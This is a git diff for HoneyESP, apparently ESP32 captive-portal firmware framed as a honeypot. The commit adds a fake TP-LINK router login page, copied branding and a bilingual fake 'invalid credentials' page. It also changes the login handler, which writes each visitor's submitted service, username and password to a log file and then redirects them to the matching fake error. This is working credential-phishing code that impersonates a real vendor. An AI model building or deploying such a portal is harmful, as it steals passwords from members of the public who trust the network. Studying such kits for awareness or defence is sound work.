diff --git a/HoneyESP-SPIFFS/HoneyESP-SPIFFS.ino b/HoneyESP-SPIFFS/HoneyESP-SPIFFS.ino index 896e263..cf7ef91 100644 --- a/HoneyESP-SPIFFS/HoneyESP-SPIFFS.ino +++ b/HoneyESP-SPIFFS/HoneyESP-SPIFFS.ino @@ -119,7 +119,7 @@ void setup() { // Enable HTTP server Serial.print("Starting HTTP server..."); - server.on("/login.htm", handleLogin); + server.on("/login.htm", handleLogin); #ifdef BLOCK_SSID_REQUEST server.on(getUrlFromFileName(FILENAME_SSID), send404); #endif @@ -144,8 +144,10 @@ void loop() { void handleLogin() { // Save form data to text file File logFile = SPIFFS.open(FILENAME_DATALOG, FILE_WRITE); + String loginService; if (logFile) { - String logLine = server.arg("svc"); + loginService = server.arg("svc"); + String logLine = loginService; logLine += "\t" + server.arg("usr"); logLine += "\t" + server.arg("pwd"); Serial.println(logLine); @@ -155,12 +157,18 @@ void handleLogin() { Serial.println("Error opening data file."); } - // Redirect to error page - String message = "302 FoundContinue here"; + // Decide where to redirect + String redirectLocation = "/error.htm"; + if(loginService.indexOf("tp-link") > -1){redirectLocation = "/err-tp.htm";} + + // Execute redirect to decided page + String message = "302 FoundContinue here"; server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate"); server.sendHeader("Pragma", "no-cache"); server.sendHeader("Expires", "-1"); - server.sendHeader("Location", "/error.htm"); + server.sendHeader("Location", redirectLocation); server.send(302, "text/html", message); } diff --git a/HoneyESP-SPIFFS/data/css/tp-old.css b/HoneyESP-SPIFFS/data/css/tp-old.css new file mode 100644 index 0000000..af30b92 --- /dev/null +++ b/HoneyESP-SPIFFS/data/css/tp-old.css @@ -0,0 +1,51 @@ +html { + background-color: #003399; + color: #000; + font-family: "Arial", "Helvetica", "sans-serif"; + margin: 0; + padding: 1em; +} + +body { + background-color: #003399; + max-width: 772px; + margin: 0 auto; + padding: 1em; +} + +img { + border: none; +} + +input[type=text], +input[type=password] { + width: 100%; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding: 1ex; + border: 1px solid #333; +} + +input[type=submit] { + font-size: 100%; + padding: 1ex; + min-width: 18ex; + font-weight: bold; +} + +.tp-header { + clear: both; + width: 772px; +} + +.tp-header img { + padding: 0; + margin: 0; +} + +.content { + clear: both; + padding: 1ex; + background-color: #fffcd6; +} \ No newline at end of file diff --git a/HoneyESP-SPIFFS/data/err-tp.htm b/HoneyESP-SPIFFS/data/err-tp.htm new file mode 100644 index 0000000..2363020 --- /dev/null +++ b/HoneyESP-SPIFFS/data/err-tp.htm @@ -0,0 +1,27 @@ + + + + + + Free Wi-Fi Gateway + + + +
+ TP-LINK 54MTP-LINK 54M +
+
+

+ Wi-Fi + Wi-Fi Gateway +

+
+

Chybné přihlašovací údaje. Byly zadány chybné údaje nebo nastala jiná nespecifikovaná chyba. Omlouváme se, zkuste to později nebo použijte jinou službu.

+

Invalid credentials. Invalid login information has been entered or an unspecified error has occurred. We are sorry, try again later or use different service.

+ +
+
+ + \ No newline at end of file diff --git a/HoneyESP-SPIFFS/data/images/tp/tp1.jpg b/HoneyESP-SPIFFS/data/images/tp/tp1.jpg new file mode 100644 index 0000000..99e491c Binary files /dev/null and b/HoneyESP-SPIFFS/data/images/tp/tp1.jpg differ diff --git a/HoneyESP-SPIFFS/data/images/tp/tp2.jpg b/HoneyESP-SPIFFS/data/images/tp/tp2.jpg new file mode 100644 index 0000000..5672aee Binary files /dev/null and b/HoneyESP-SPIFFS/data/images/tp/tp2.jpg differ diff --git a/HoneyESP-SPIFFS/data/index.htm b/HoneyESP-SPIFFS/data/index.htm index 39f70a5..28514fd 100644 --- a/HoneyESP-SPIFFS/data/index.htm +++ b/HoneyESP-SPIFFS/data/index.htm @@ -10,7 +10,7 @@

- Wi-Fi Wi-Fi Gateway + Wi-Fi Wi-Fi Gateway

Pro připojení k Internetu se prosím přihlašte pomocí některé z následujících služeb:

Please login using one of the following services for Internet access:

diff --git a/HoneyESP-SPIFFS/data/log-tp.htm b/HoneyESP-SPIFFS/data/log-tp.htm new file mode 100644 index 0000000..6dc5d80 --- /dev/null +++ b/HoneyESP-SPIFFS/data/log-tp.htm @@ -0,0 +1,34 @@ + + + + + + + TP-LINK + + + + +
+ TP-LINK 54MTP-LINK 54M +
+
+
+ +

+ + +

+

+ + +

+ +
+
+ + + \ No newline at end of file